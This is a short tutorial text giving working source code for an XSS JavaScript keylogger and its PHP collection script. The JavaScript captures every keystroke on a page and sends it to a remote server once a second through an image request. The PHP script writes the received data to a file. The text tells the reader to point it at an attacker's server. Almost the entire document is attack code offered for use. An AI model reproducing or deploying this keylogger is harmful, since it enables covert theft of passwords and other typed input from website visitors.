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Javascript Keylogger

The following code is a javascript Keylogger, it's hook each keystrokes on a webpage and send them to a remote php script every seconds.

Replace localhost with attacker server dns and path.

keylogger.js


var keys='';
document.onkeypress = function(e) {
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
new Image().src = 'http://localhost/demo/webA/keylogger.php?c='+keys;
keys = '';
}, 1000);

PHP Grabber

The following code will receives and saves all data sent by the keylogger.

keylogger.php


<?php
if(!empty($_GET['c'])) {
$logfile = fopen('data.txt', 'a+');
fwrite($logfile, $_GET['c']);
fclose($logfile);
}
?>

Source: Tutorial - XSS Keylogger

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